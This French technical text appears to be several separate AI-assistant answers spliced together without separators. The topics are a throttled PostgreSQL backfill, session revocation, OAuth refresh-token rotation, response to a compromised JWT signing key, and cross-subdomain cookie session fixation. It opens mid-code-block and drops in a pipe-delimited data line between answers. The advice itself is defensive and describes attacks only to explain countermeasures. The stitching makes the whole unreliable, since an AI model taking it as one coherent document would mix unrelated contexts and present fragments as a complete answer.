-- PostgreSQL, un lot. Transaction courte, bornes explicites.
BEGIN;
SET LOCAL statement_timeout = '5s';
SET LOCAL lock_timeout = '1s'; -- échoue vite plutôt que de bloquer la prod
WITH cible AS (
SELECT id
FROM commandes
WHERE id > $1 -- filigrane du checkpoint
AND statut_v2 IS NULL -- prédicat idempotent
ORDER BY id
LIMIT $2 -- taille de lot = 5000
FOR UPDATE SKIP LOCKED -- ne se bat pas avec l'OLTP
)
UPDATE commandes c
SET statut_v2 = f_migre(c.statut)
FROM cible
WHERE c.id = cible.id
RETURNING c.id;
COMMIT;
```
Points de conception :
- **`lock_timeout` court** : c'est ce qui garantit que le backfill cède le passage aux transactions applicatives au lieu de les bloquer. Un lot qui échoue est simplement rejoué.
- **`SKIP LOCKED`** évite l'attente sur les lignes en cours de modification par l'application ; ces lignes seront reprises à une passe ultérieure, d'où la nécessité d'une **passe de rattrapage finale** (mécanisme 4).
- **Prédicat idempotent** (`statut_v2 IS NULL`) : rejouer un lot deux fois n'a aucun effet supplémentaire. C'est la condition pour qu'un crash ou un rollback soit sans danger.
- Taille : ordre de grandeur raisonnable 1 000 à 10 000 lignes. Règle de calibrage : viser une **durée d'exécution par lot de 50 à 200 ms**, mesurée, et réduire si le volume WAL/binlog par lot dépasse ce que le lien de réplication absorbe.
Arithmétique du plan de charge, avec $N = 40\times10^6$, lots de taille $b$, durée d'exécution $t_e$ et pause $t_p$ :
$$T_{\text{total}} = \frac{N}{b}\,(t_e + t_p), \qquad \text{débit} = \frac{b}{t_e+t_p}$$
| $b$ | nombre de lots | $t_e=50$ ms, $t_p=100$ ms | $t_e=120$ ms, $t_p=250$ ms |
|---|---|---|---|
| 2 000 | 20 000 | 0,83 h (13 333 lignes/s) | 2,06 h (5 405 lignes/s) |
| 5 000 | 8 000 | 0,33 h (33 333 lignes/s) | 0,82 h (13 514 lignes/s) |
| 10 000 | 4 000 | 0,17 h (66 667 lignes/s) | 0,41 h (27 027 lignes/s) |
Ces valeurs sont le résultat de la formule ci-dessus, calculée dans mon laboratoire local ; elles ne préjugent pas des $t_e$ réels de votre base, qui dépendent des index, des déclencheurs et des index secondaires à réécrire.
---
## 2. pace, régulation active sur le retard de réplication
Une pause fixe est un pari aveugle. Le seul régulateur correct est une **boucle de rétroaction sur le retard réellement observé sur les réplicas**.
Signaux à lire, à chaque lot ou toutes les $k$ secondes (noms à confirmer dans la documentation de votre version exacte, je ne les certifie pas de mémoire) :
- PostgreSQL : `pg_stat_replication` (colonnes de retard de rejeu, `replay_lag` / positions LSN), plus le retard de rejeu vu depuis le réplica.
- MySQL/MariaDB : retard de réplication rapporté par l'état de réplication du réplica, complété si possible par un marqueur de battement (heartbeat) écrit par le primaire, plus fiable qu'un simple compteur de secondes.
Loi de régulation simple et robuste (contrôle proportionnel avec plancher) :
$$t_p = t_{p,\min} \cdot \max\!\left(1,\ \frac{L_{\text{obs}}}{L_{\text{cible}}}\right)^{\alpha}, \qquad \alpha \in [1,2]$$
avec par exemple $L_{\text{cible}} = 2\ \text{s}$, $t_{p,\min} = 50\ \text{ms}$, et un plafond $t_{p,\max}$ (ex. 5 s) au-delà duquel on **suspend** au lieu de ralentir. Complément utile : réduire $b$ de moitié quand $L_{\text{obs}} > L_{\text{cible}}$ deux fois de suite, et ne le remonter que progressivement (montée en puissance lente, descente rapide).
Autres régulateurs à combiner :
- Plafond de **volume WAL/binlog généré par minute**, pour protéger l'archivage et les sauvegardes.
- Surveillance de la **saturation d'autovacuum** (PostgreSQL) : un backfill de 40 M de lignes crée 40 M de versions mortes ; sans vacuum qui suit, la table gonfle. Prévoir un `VACUUM` ciblé entre les tranches et des paramètres d'autovacuum plus agressifs sur cette table pendant l'opération.
- Fenêtre horaire : ne rouler qu'aux heures creuses, ce qui est un régulateur de pace à part entière.
---
## 3. checkpoint, filigrane transactionnel et journal auditable
Le point critique : **le checkpoint doit être commité dans la même transaction que le lot**. S'il est écrit après le `COMMIT` du lot, un crash entre les deux crée soit un rejeu (acceptable si idempotent) soit une perte de progression silencieuse.
```sql
CREATE TABLE backfill_progression (
tache text PRIMARY KEY,
last_id bigint NOT NULL,
lignes_vues bigint NOT NULL DEFAULT 0,
etat text NOT NULL DEFAULT 'en_cours'
CHECK (etat IN ('en_cours','suspendu','termine','echoue')),
maj_le timestamptz NOT NULL DEFAULT now()
);
CREATE TABLE backfill_journal ( -- audit, un enregistrement par lot
id bigserial PRIMARY KEY,
tache text NOT NULL,
borne_debut bigint NOT NULL,
borne_fin bigint NOT NULL,
lignes int NOT NULL,
duree_ms int NOT NULL,
lag_avant_ms int,
cree_le timestamptz NOT NULL DEFAULT now()
);
```
Dans la transaction du lot, après l'`UPDATE` et avant le `COMMIT` :
```sql
UPDATE backfill_progression
SET last_id = $nouveau_max, lignes_vues = lignes_vues + $n, maj_le = now()
WHERE tache = 'commandes.statut_v2' AND last_id < $nouveau_max;
```
Propriétés obtenues :
- **Reprise exacte** après interruption : on relit `last_id` et on continue. Aucune relecture depuis zéro.
- **Verrou d'unicité d'exécution** : une ligne par tâche, prise avec `SELECT ... FOR UPDATE NOWAIT` ou un verrou consultatif (`pg_advisory_lock`), interdit deux backfills concurrents.
- **Observabilité** : le journal donne le débit réel, la dérive, et permet d'estimer le reste à faire, $\hat{T}_{\text{restant}} = (N_{\text{restant}}/\text{débit}_{\text{observé}})$, à partir de mesures et non d'une hypothèse.
- Le filigrane n'est valide que si l'ordre d'itération est **stable et total** : clé primaire monotone, ou couple `(clé, id)` en ordre lexicographique. Un tri sur une colonne mutable (une date modifiable) casse la garantie de couverture.
---
## 4. stop, conditions d'arrêt explicites, en échec fermé
Le backfill s'arrête ou se suspend dès qu'une condition est remplie, **par défaut il s'arrête** (fail closed) plutôt que de continuer en cas de signal indisponible :
| Condition | Seuil de départ à calibrer | Action |
|---|---|---|
| Retard de réplication | $> 30$ s, ou métrique de retard illisible | suspendre, réessayer avec repli exponentiel |
| Erreurs consécutives (timeout de verrou, interblocage) | 5 d'affilée | suspendre, alerter |
| Taux d'erreur global | $> 1\ \%$ des lots | arrêt, intervention humaine |
| Latence applicative (p99 des requêtes OLTP) | dégradation $> 20\ \%$ | suspendre |
| Espace disque / volume WAL non archivé | seuil d'alerte de la plateforme | arrêt immédiat |
| Fin de fenêtre horaire | ex. 06:00 | suspendre proprement, reprise la nuit suivante |
| Drapeau d'arrêt manuel | ligne `etat='suspendu'` lue à chaque lot | suspendre en fin de lot courant |
| **Terminaison normale** | 0 ligne renvoyée par le lot **et** `COUNT` de contrôle du reste $= 0$ | `etat='termine'` |
Deux précautions sur la terminaison :
1. Un lot vide ne prouve pas la complétude, à cause de `SKIP LOCKED` et des lignes insérées ou modifiées pendant l'opération. Il faut une **passe de rattrapage** sans `SKIP LOCKED` sur les lignes restantes, puis une vérification finale (`SELECT count(*) ... WHERE statut_v2 IS NULL` bornée par index partiel), et idéalement une écriture double côté applicatif ou un déclencheur pendant la migration pour que les nouvelles lignes soient déjà conformes.
2. Le **kill switch doit être lu depuis la base**, pas seulement un signal POSIX, pour être actionnable par un opérateur sans accès au processus.
**Rollback.** Avant de lancer : point de restauration vérifié et testé, et surtout une transformation **réversible par construction** (nouvelle colonne écrite en parallèle, ancienne intacte). Écrire par-dessus la colonne d'origine rend le retour arrière dépendant d'une restauration complète, ce qui est un risque majeur à 40 M de lignes. Recommandation : nouvelle colonne, bascule de lecture par drapeau applicatif, suppression de l'ancienne colonne seulement après une période d'observation.
---
## Risques résiduels, à ne pas passer sous silence
- **Ballonnement de table et d'index** (PostgreSQL) : 40 M de mises à jour produisent 40 M de tuples morts. Sans vacuum suivi, dégradation des plans et consommation disque. Aucune configuration ne rend cela « sans risque ».
- **Réplicas en lecture** : même avec un retard maîtrisé, un pic de rejeu peut annuler des requêtes longues sur le réplica (conflits de rejeu). À arbitrer avec les équipes concernées.
- **Déclencheurs et index secondaires** : chaque index sur une colonne modifiée multiplie le coût par lot et le volume WAL. À inventorier avant de fixer $b$.
- **Contention applicative non prédite** : les chiffres du tableau supposent une charge OLTP stable. Toute estimation de durée avant mesure sur un jeu de données de préproduction représentatif est une hypothèse, pas une prévision.
- Je n'ai pas exécuté ce SQL ni testé cette procédure sur votre base : le code ci-dessus est une proposition raisonnée à valider en préproduction, avec un premier passage limité (par exemple 100 000 lignes) et mesure effective de $t_e$, du retard de réplication et du volume WAL avant d'ouvrir la vanne.session fixation|invalider et détruire S1 côté serveur immédiatement après authentification réussie|transférer le contenu du panier dans la nouvelle session avant destruction de S1|nouvel identifiant de session régénéré, aléatoire cryptographiquement sûr, inconnu de l'attaquant, lié à user_id, cookie renvoyé avec Secure, HttpOnly et SameSite
store: dans une seule transaction, révoquer côté serveur toutes les sessions de l'utilisateur, `DELETE FROM sessions WHERE user_id = :u` (ou `revoked_at = now()` si l'on garde une trace d'audit), plus les refresh tokens associés; si l'écriture échoue, échec fermé, aucun succès annoncé à l'utilisateur | version: incrément atomique de la source de vérité unique, `UPDATE users SET session_version = session_version + 1 WHERE id = :u AND session_version = 7 RETURNING session_version` ($7 \rightarrow 8$), calculé par le serveur, jamais fourni par le client, dans la même transaction que la purge du store | jwt: contrôle d'autorisation à chaque requête, comparer `sv` du token à la `session_version` courante lue en base (ou cache dont le TTL est inférieur ou égal à la durée de vie du JWT), rejeter si `sv < session_version`, effacer les cookies de session côté client; fenêtre résiduelle assumée égale au TTL du cache de version, la signature seule ne prouve plus la validité | current: décision explicite pour l'appareil qui déclenche l'action, soit il est révoqué comme les autres et redirigé vers la connexion, soit une nouvelle session et un nouveau JWT avec `sv = 8` sont émis strictement APRÈS le commit de l'incrément, jamais avant, sinon course avec la purge et le nouveau jeton serait immédiatement invalide ou l'ancien survivrait
**Note de sourçage** : ma recherche dans l'encyclopédie locale (« OAuth 2.0 refresh token rotation », « jeton de rafraîchissement ») n'a retourné aucun article. Ce qui suit est donc l'exposé de la sémantique canonique de la rotation avec détection de réutilisation (modèle de la famille de jetons, tel que spécifié par la pratique OAuth 2.0 « Security Best Current Practice » et implémenté par les serveurs d'autorisation courants), et non une citation vérifiable dans mes bases hors ligne. Je le signale explicitement : je ne peux pas produire ici la référence normative exacte, seulement le raisonnement de conception.
## 1. Première transaction (celle qui gagne la course)
| Élément | Résultat |
|---|---|
| Statut HTTP | 200, succès |
| État de R7 | passe de `active` à `consumed` (consommé, non réutilisable) |
| Jetons émis | un nouvel access token + le refresh token **R8**, enfant de R7 |
| Lignée | R8 hérite de l'identifiant de famille de R7 ; profondeur de chaîne + 1 |
Condition indispensable : la transition de R7 doit être **atomique** (compare-and-swap, ou `SELECT ... FOR UPDATE` / `UPDATE ... WHERE state='active' RETURNING`, dans une transaction sérialisable). Sans cette atomicité, les deux onglets peuvent réussir tous les deux et produire deux enfants R8 et R8', ce qui **fourche** la famille : la détection de réutilisation devient impossible et la propriété de sécurité est perdue.
## 2. Seconde transaction (celle qui perd la course)
| Élément | Résultat |
|---|---|
| Statut HTTP | 400 |
| Corps | `error = invalid_grant` (aucun détail exploitable renvoyé au client) |
| Jetons émis | **aucun** |
| Effet secondaire | déclenchement d'un événement de sécurité « refresh token replay detected », journalisé (identifiant de famille, client, horodatage, IP/user-agent, jamais la valeur du jeton) |
Point important : le serveur ne peut **pas** distinguer, sur la seule base de cette requête, une course bénigne entre deux onglets d'un vol de jeton par un attaquant. C'est un cas d'**indécidabilité locale** : la politique doit donc échouer en mode fermé.
## 3. Action sur la famille
**Révocation en cascade de toute la famille de jetons** issue de la souche d'autorisation de R7 :
- tous les refresh tokens de la famille, y compris **R8** et le nœud R7 lui-même, passent à `revoked` ;
- les access tokens de la famille sont révoqués s'ils sont référençables (jetons opaques, introspection) ; s'il s'agit de JWT autoportants non introspectés, ils **restent techniquement valides jusqu'à leur expiration**, ce qui est la fenêtre résiduelle classique de ce modèle, à réduire par une durée de vie courte (typiquement quelques minutes) ;
- la session est invalidée : le client doit **réauthentifier l'utilisateur** (nouveau parcours d'autorisation complet) ;
- alerte de sécurité émise selon la politique de l'exploitant.
## 4. État de R8
**R8 est révoqué et inutilisable**, bien qu'il ait été émis légitimement et qu'il n'ait jamais été présenté par un attaquant.
C'est un **faux positif assumé** : l'onglet gagnant détient un jeton mort. Le compromis est explicite et va dans le sens de la sécurité :
- ce qui est protégé : l'**authenticité** et l'intégrité de la chaîne d'autorisation (un jeton volé ne survit pas à la première rotation légitime, et réciproquement) ;
- ce qui est sacrifié : la **disponibilité** de la session (déconnexion de l'utilisateur innocent).
## Atténuation du faux positif, présentée comme option d'ingénierie, non comme un fait normatif
Trois techniques réduisent ce faux positif sans abandonner la détection. Je les présente comme des choix de conception courants, pas comme une obligation :
1. **Fenêtre de grâce idempotente** : pendant un court délai (ordre de quelques secondes), la présentation répétée de R7 renvoie **la même réponse** (même R8), mémorisée côté serveur. Une réutilisation au-delà de la fenêtre, ou avec une empreinte de client différente, reste traitée comme un rejeu. Coût : élargit très légèrement la fenêtre d'exploitation d'un jeton volé.
2. **Verrou côté client** : un seul rafraîchisseur par origine (Web Locks API, `BroadcastChannel`, ou un Service Worker unique), les autres onglets attendant le résultat. C'est le correctif le plus propre, car il supprime la course à la racine plutôt que de l'arbitrer.
3. **Liaison du jeton au porteur** (DPoP ou mTLS) : la réutilisation par un tiers devient détectable sans ambiguïté, ce qui permet une politique moins brutale sur les rejeux provenant du porteur légitime.
## Résumé exécutable
```
T1: CAS(R7: active -> consumed) OK => 200, {access, R8}, R8.family = R7.family
T2: CAS(R7: active -> consumed) FAIL => 400 invalid_grant + SECURITY_EVENT(replay)
=> revoke_family(R7.family)
Final: R7 = revoked, R8 = revoked (jamais utilisable), session = à réauthentifier
access tokens JWT non introspectés = valides jusqu'à expiration (fenêtre résiduelle)
```
**Limite de cette réponse** : le détail exact des codes d'erreur et de la portée de la cascade dépend de l'implémentation du serveur d'autorisation retenu. Pour trancher sur votre cas réel, il faut lire la documentation de votre serveur et vérifier expérimentalement deux points : l'atomicité de la consommation sous concurrence, et l'existence ou non d'une fenêtre de grâce.## Diagnostic La clé privée associée à K1 est compromise alors que des jetons portant `kid=K1` sont encore dans leur fenêtre de validité. Deux conséquences distinctes, à ne pas confondre : 1. **Authenticité perdue** : l'attaquant peut forger des jetons arbitraires signés avec K1, avec n'importe quels `sub`, `aud`, `exp` et revendications de rôle. Le champ `kid` n'est qu'une indication de la clé utilisée pour la signature, il n'apporte aucune garantie par lui-même (Wikipedia EN, JSON Web Token, tableau des champs d'en-tête : « kid, Key ID, a hint indicating which key the client used to generate the token signature »). 2. **Disponibilité des sessions légitimes** : révoquer K1 invalide aussi tous les jetons honnêtes signés par K1, d'où une réémission forcée sous K2. Le point structurel : un JWT est auto-porteur et vérifié sans état ; si l'on veut invalider avant `exp`, il faut confronter le jeton à un magasin de données, ce qui rend la validation stateful et supprime l'avantage principal du format (même article, section Vulnerabilities : « To validate that the session stored in the token is not revoked, token assertions must be checked against a data store. This renders the tokens no longer stateless »). C'est exactement le prix à payer ici. ## Les quatre actions immédiates ### 1. Publication (JWKS) - **Ordre critique** : poussez d'abord la règle de refus de `kid=K1` sur les vérificateurs (action 2), **puis** retirez K1 du JWKS. Retirer K1 en premier ne protège rien pendant la durée de vie des caches JWKS des services consommateurs, qui continueraient à valider avec la copie locale de K1. - Retirez définitivement K1 du document JWKS et n'y laissez que K2 (plus, le cas échéant, une nouvelle K3 générée immédiatement pour préparer la prochaine rotation). - Générez K3 dans un module matériel ou un coffre, et faites de K2 la clé de signature active ; si K2 a été stockée ou générée par le même chemin d'exposition que K1, considérez K2 comme suspecte et signez sous K3. - Forcez l'invalidation des caches : réduisez le `max-age`/TTL de la réponse JWKS, purgez le CDN et le cache HTTP, et déclenchez un rafraîchissement forcé côté vérificateurs plutôt que d'attendre l'expiration naturelle. - Interdisez tout repli sur des clés hors JWKS : rejetez les en-têtes `jku`, `x5u`, `x5c` et toute clé fournie par le jeton lui-même ; refus par défaut si `kid` est absent ou inconnu. Hypothèse signalée : les mécanismes de cache JWKS, TTL et purge CDN relèvent des pratiques d'ingénierie usuelles, je ne dispose pas d'un article de l'encyclopédie locale décrivant JWKS (RFC 7517) ; la recherche « JSON Web Key JWKS rotation de clés » n'a retourné aucun article. ### 2. Validation - **Liste de refus explicite sur `kid=K1`** : tout jeton portant `kid=K1` est rejeté, quelle que soit la validité arithmétique de sa signature. C'est la seule mesure qui bloque les jetons forgés. - Ne laissez jamais l'en-tête du jeton piloter la vérification, et n'accordez pas confiance au seul champ `alg` : épinglez côté serveur la liste blanche d'algorithmes attendus (par exemple RS256 ou ES256 uniquement) et la taille de clé. Ce sont les précautions explicitement recommandées dans la littérature reprise par l'article : « Never let the JWT header alone drive verification ; Know the algorithms (avoid depending on the alg field alone) ; Use an appropriate key size » (Wikipedia EN, JSON Web Token, section Vulnerabilities). - Bloquez `alg=none` et la confusion de type de clé (RS256 vérifié comme HS256 avec la clé publique en secret HMAC). L'article documente que les failles `alg=none` restent observées en production, avec quatre CVE attribuées à cette cause sur la période 2018-2021 (même section). - Vérifiez systématiquement `iss`, `aud`, `exp`, `nbf`, `iat` : un jeton dont `aud` ne correspond pas au service qui le traite doit être rejeté (même article, tableau des revendications standard, définition de `aud`). - Réduisez immédiatement la durée de vie des jetons d'accès émis sous K2/K3, le temps de l'incident, pour raccourcir la fenêtre de tout secret encore inconnu. - Déployez la règle de refus de façon atomique et vérifiée sur **tous** les points de validation : passerelle API, services internes, sidecars, tâches asynchrones, clients mobiles hors ligne. Un seul vérificateur oublié suffit à maintenir la brèche. ### 3. Sessions - Révocation en masse de toutes les sessions adossées à un jeton `kid=K1` : invalidez les jetons de rafraîchissement associés, ne vous contentez pas des jetons d'accès. Un jeton de rafraîchissement encore valide reconstitue l'accès. - Réémettez sous K2/K3 après réauthentification, avec rotation des jetons de rafraîchissement et détection de réutilisation (un jeton de rafraîchissement rejoué signale un vol : révoquez alors toute la famille de jetons). - Mettez en place un magasin de révocation consulté à la validation, indexé par `jti` (identifiant unique du jeton, sensible à la casse, unique même entre émetteurs, selon le tableau des revendications standard de l'article) ou par identifiant de session, avec une borne d'expiration égale au `exp` maximal des jetons K1. Assumez explicitement la perte du caractère sans état pendant l'incident, conformément à la limite documentée plus haut. - Exigez une réauthentification forte, et une MFA sur les actions sensibles, pour les comptes à privilèges (administrateurs, comptes de service, accès aux données personnelles) avant réémission. - Faites tourner en parallèle les secrets connexes potentiellement exposés par le même vecteur : clés d'API, secrets clients OAuth, identifiants de base de données. Une compromission de clé privée signale souvent une compromission d'hôte ou de coffre, pas un incident isolé. ### 4. Audit - **Bornez la fenêtre d'exposition** : date de génération de K1, date probable de compromission, date de la révocation effective sur le dernier vérificateur. Toute la suite s'analyse dans cet intervalle. - Recherchez dans les journaux tous les jetons `kid=K1` présentés et acceptés, puis **réconciliez avec le registre d'émission** de l'autorité : un jeton accepté dont le `jti` n'apparaît dans aucun enregistrement d'émission est un candidat fort de forge. C'est le signal de détection le plus discriminant. - Indices complémentaires : `iat`/`exp` incohérents avec la politique d'émission, durées de vie anormalement longues, revendications de rôle jamais attribuées à ce `sub`, adresses IP ou empreintes clients nouvelles, élévation de privilèges sans événement de connexion correspondant. - Auditez les actions à effet durable réalisées sous ces jetons : créations de comptes, ajouts de clés ou de webhooks, modifications de politiques IAM, exports de données, changements de coordonnées bancaires. Un accès frauduleux laisse souvent une porte dérobée qui survit à la rotation. - Préservez les preuves avant toute remédiation destructive : copie en lecture seule des journaux, horodatage et scellement par empreinte, conservation hors de portée de l'attaquant. Ne purgez ni ne réécrivez aucun journal. - Déclenchez l'évaluation de notification : selon la nature des données concernées, une violation de données personnelles peut ouvrir des obligations de notification. Ce point relève d'une analyse juridique et de conformité que je ne peux pas trancher ici, faites-le qualifier par votre DPO ou votre conseil. - Analyse de cause racine : comment la clé privée est-elle sortie ? Secret en clair dans un dépôt, variable d'environnement journalisée, sauvegarde non chiffrée, hôte compromis, poste d'administration. Sans cause racine, la rotation sera à refaire. ## Synthèse ordonnancée | Ordre | Action | Objectif de sécurité visé | Effet de bord assumé | |---|---|---|---| | 1 | Règle de refus `kid=K1` sur tous les vérificateurs | Authenticité | Coupe aussi les sessions légitimes K1 | | 2 | Retrait de K1 du JWKS, purge des caches, K2/K3 active | Authenticité, intégrité | Vérificateurs à clé cachée à rafraîchir | | 3 | Révocation des sessions et des jetons de rafraîchissement, réauthentification | Authenticité, confidentialité | Validation devenue stateful, charge sur le magasin | | 4 | Audit, préservation des preuves, cause racine | Traçabilité, imputabilité | Coût d'investigation, gel des purges de journaux | ## Vérification à exiger avant de clore 1. Un jeton de test signé avec la clé privée K1 (fabriqué en environnement contrôlé) doit être **rejeté par chaque** point de validation, y compris les chemins asynchrones et les clients mis en cache. Attendu : refus systématique, journalisé. 2. Un jeton avec `alg=none` et un jeton RS256 « confusé » en HS256 doivent être rejetés. 3. Le JWKS servi depuis plusieurs régions et derrière le CDN ne contient plus K1. 4. Un jeton de rafraîchissement révoqué rejoué doit échouer et déclencher une alerte. 5. Comptage explicite : nombre de sessions K1 identifiées, nombre révoquées, nombre réémises ; ces trois nombres doivent se réconcilier. Un test qui passe sur un échantillon fini ne démontre pas la propriété universelle « aucun jeton K1 n'est accepté ». La garantie ne vient pas de l'énumération de cas, elle vient d'un invariant vérifiable dans le code : refus par défaut, et acceptation conditionnée à l'appartenance de `kid` à une liste blanche chargée depuis une source unique de vérité. Faites relire cet invariant, ne vous fiez pas aux seuls tests. ## Risques et limites - **Aucune de ces actions n'est « sans risque »**. La révocation de K1 provoque une déconnexion massive et un pic de charge sur l'authentification et le magasin de révocation ; prévoyez le dimensionnement et un retour arrière documenté qui ne réintroduise jamais K1. - **Risque résiduel principal** : les jetons forgés déjà utilisés ont pu créer des accès persistants indépendants du JWT (clés d'API, sessions par cookie, webhooks, comptes de service). La rotation de clé ne les ferme pas. - **Détection imparfaite** : si les `jti` ne sont pas journalisés à l'émission et à la validation, la distinction entre jeton légitime et jeton forgé peut être impossible à établir a posteriori. Dans ce cas, dites-le explicitement dans le rapport d'incident plutôt que de conclure « aucune exploitation détectée » ; l'absence de trace n'est pas une preuve d'absence d'exploitation. - **K2 potentiellement suspecte** : si K1 et K2 partagent le même stockage ou le même vecteur d'exposition, traiter K2 comme saine est une hypothèse, pas un fait établi. - **Limite de mes sources ici** : les éléments sur `kid`, `aud`, `jti`, `exp`, la faiblesse du champ `alg`, les CVE `alg=none` 2018-2021 et le caractère stateful de la révocation sont étayés par l'article Wikipedia EN « JSON Web Token » (fondé sur la RFC 7519). Les points opérationnels (ordonnancement, purge de caches, rotation des jetons de rafraîchissement, procédure d'audit) relèvent de pratiques d'ingénierie standard et ne sont pas couverts par un article de mon encyclopédie locale ; je les présente comme recommandations professionnelles, non comme faits sourcés. Les aspects de notification réglementaire ne constituent pas un avis juridique.
## 1. Menace Le scénario décrit est exactement l'attaque de **fixation de session par cross-subdomain cooking** : un site web fournit des sous-domaines à des tiers non fiables, l'un de ces tiers pose un cookie de session portant `Domain=.example.com`, et ce cookie est ensuite envoyé par le navigateur de la victime lors de sa visite sur le domaine légitime, si bien que la session de la victime est déterminée par le cookie de l'attaquant (Wikipédia FR, article « Fixation de session », section « Attaque par utilisation du cross-subdomain cooking »). Cette attaque ne repose sur aucune vulnérabilité du navigateur ni du site légitime : elle exploite le fonctionnement normal des cookies (même source). Déclinaisons concrètes dans votre cas : | Menace | Mécanisme | Impact | |---|---|---| | Fixation de session | `legacy` pose `session=VALEUR_CONNUE; Domain=.lanxas.com`, la victime s'authentifie sur `auth`, l'attaquant réutilise la valeur | Usurpation de compte, élévation de privilèges (Wikipédia FR, « Fixation de session ») | | Session forcée inverse | `legacy` injecte une session déjà authentifiée appartenant à l'attaquant | La victime saisit ses données (carte, documents) dans le compte de l'attaquant (Wikipédia FR, « Fixation de session », scénario alternatif) | | Écrasement / éviction du cookie légitime | Cookie homonyme sur une portée plus large ou un `Path` différent | Déni de service d'authentification, ou substitution silencieuse de contexte | | Contournement des protections d'intégrité | L'attribut `Secure` ne protège que la confidentialité du cookie, pas son intégrité ; ce défaut est officiellement nommé *Weak Integrity* (Wikipédia EN, « Secure cookie ») | `Secure` ne bloque pas l'écrasement | | Neutralisation de `SameSite` | `legacy.lanxas.com` est du même site (même eTLD+1) que `app.lanxas.com` | Hypothèse à vérifier chez vous, mais `SameSite` raisonne au niveau du site, pas de l'origine, donc il n'isole pas un sous-domaine hostile. Ce point provient de ma connaissance du modèle, mes sources locales ne le formulent pas explicitement en ces termes. | La menace porte sur l'**intégrité** et l'**authenticité** de la session, pas seulement sur sa confidentialité. Aucune fuite de la valeur légitime n'est nécessaire. ## 2. Propriété de portée en cause Le point théorique central : **la portée des cookies n'est pas la portée d'origine**. Trois propriétés se combinent. **a) Asymétrie écriture / lecture.** Un hôte peut poser un cookie sur son domaine parent enregistrable, alors que la politique de même origine interdirait toute lecture croisée du DOM. La portée d'écriture d'un cookie est donc strictement plus large que l'origine de sécurité de celui qui l'écrit. C'est précisément ce que décrit l'attaque cross-subdomain : « des cookies jokers peuvent être créés par un sous-domaine qui affecte les autres sous-domaines » (Wikipédia FR, « Fixation de session »). **b) Non-attribution à l'émission.** L'en-tête `Cookie` transmis au serveur ne véhicule que des paires nom/valeur : il ne transporte ni l'attribut `Domain`, ni l'attribut `Path`, ni l'identité de l'hôte qui a posé le cookie. Le serveur ne peut donc pas distinguer un cookie posé par `auth.lanxas.com` d'un cookie homonyme posé par `legacy.lanxas.com`. Cette propriété d'indistinguabilité est le cœur du problème et elle est structurelle, non corrigeable côté application par simple inspection. Ce point relève de ma connaissance du protocole (RFC 6265) et n'est pas établi par les articles que j'ai consultés localement ; je vous invite à le confirmer sur le texte de la RFC. **c) Collision d'espace de noms.** Un cookie *host-only* sur `app.lanxas.com` et un cookie de domaine `.lanxas.com` de même nom coexistent dans le magasin du navigateur et peuvent être envoyés tous deux dans la même requête. L'ordre de présentation dépend de règles de tri (longueur de `Path`, puis ancienneté) que l'application ne doit jamais considérer comme un mécanisme de sécurité. Même remarque de provenance que pour le point b. Formulation synthétique : **le domaine de cookie est une frontière de confiance partagée en écriture par tous les sous-domaines, alors que l'authentification exige une frontière de confiance non partagée.** Déléguer un sous-domaine à un tiers, c'est lui déléguer un droit d'écriture sur l'état d'authentification de tout le domaine. Cas voisin et instructif : le *supercookie*, cookie dont l'origine est un domaine de premier niveau ou un suffixe public, permet à un attaquant de perturber ou d'usurper les requêtes légitimes vers un autre site partageant ce suffixe ; la Public Suffix List existe pour réduire ce risque (Wikipédia EN, « HTTP cookie », section « Supercookie »). Votre situation est la même pathologie, transposée un niveau plus bas dans l'arbre DNS. ## 3. Réduction ### 3.1 Correction structurelle (seule réduction réellement efficace) **Retirer `legacy.lanxas.com` de l'arbre DNS partagé avec l'authentification.** Tant qu'un tiers contrôle un hôte sous `lanxas.com`, toute autre mesure est une atténuation partielle. Deux voies : - reprendre le contrôle de l'hôte, ou le migrer sous un domaine enregistrable distinct, par exemple `lanxas-legacy-partenaire.example` ; - si vous devez continuer à déléguer des sous-domaines à des tiers, faire inscrire le suffixe délégué à la Public Suffix List, qui est l'initiative inter-navigateurs visant à fournir une liste à jour des suffixes de noms de domaine (Wikipédia EN, « HTTP cookie »). Réserve importante : les versions anciennes de navigateurs peuvent ne pas disposer d'une liste à jour et rester vulnérables (même source) ; cette mesure est donc lente et non universelle. ### 3.2 Durcissement des cookies - **Cookies *host-only*** : ne posez plus aucun cookie d'authentification avec `Domain`. Un cookie sans attribut `Domain` n'est envoyé qu'à l'hôte exact qui l'a posé. Corollaire : `app` et `auth` ne partagent plus de cookie, ce qui impose un vrai protocole SSO (voir 4). - **Préfixe de nom `__Host-`** : les navigateurs modernes n'acceptent un cookie ainsi nommé que s'il est `Secure`, sans `Domain`, et avec `Path=/`, ce qui rend l'écriture par un sous-domaine impossible. Honnêteté sur la source : ce mécanisme (spécifié dans les travaux de révision de RFC 6265) fait partie de ma connaissance du modèle et n'apparaît pas dans les articles que j'ai lus localement ; vérifiez la couverture navigateur avant de vous y fier seul. - `Secure`, `HttpOnly`, `SameSite` restent nécessaires (Wikipédia FR, « Fixation de session », remarque sur les attributs ; Wikipédia EN, « HTTP cookie »), mais **aucun n'empêche l'écrasement par un sous-domaine** : `Secure` ne garantit pas l'intégrité (Wikipédia EN, « Secure cookie »), `HttpOnly` ne protège que contre l'accès par JavaScript (Wikipédia EN, « HTTP cookie »). ### 3.3 Durcissement côté serveur (défense en profondeur) Les contre-mesures suivantes sont explicitement recommandées contre la fixation de session (Wikipédia FR, « Fixation de session », section « Moyens de lutte ») : 1. **Ne jamais créer de contexte utilisateur côté serveur à partir d'un identifiant de session fourni par le client.** Règle cardinale : un identifiant présenté mais inconnu du magasin de sessions serveur doit être rejeté et remplacé, jamais adopté. 2. **Régénérer l'identifiant de session à chaque changement de privilèges**, en particulier à la connexion et à toute seconde authentification administrative. C'est la mesure qui casse la chaîne d'attaque : la valeur fixée par `legacy` devient inutile après authentification. 3. **Ne pas accepter d'identifiant de session en paramètre GET ou POST.** 4. **Expirer les anciens identifiants et implémenter une déconnexion effective côté serveur.** 5. **Vérifier la cohérence d'informations additionnelles tout au long de la session** et détruire la session en cas d'incohérence, en défense en profondeur. Mesures complémentaires que je vous propose (elles relèvent de la conception, non d'une source encyclopédique) : 6. **Échouer en mode fermé sur cookie ambigu** : si la requête présente plusieurs cookies d'authentification de même nom, ne tentez aucune heuristique de choix. Invalidez, purgez et redirigez vers l'authentification. 7. **Purge active** : à la connexion, émettez des `Set-Cookie` d'expiration sur les deux portées plausibles (host-only et `Domain=.lanxas.com`) avant d'émettre le cookie légitime, puis posez le cookie durci. À tester, car l'effacement d'un cookie posé par un tiers depuis un autre hôte n'est pas garanti dans tous les cas. 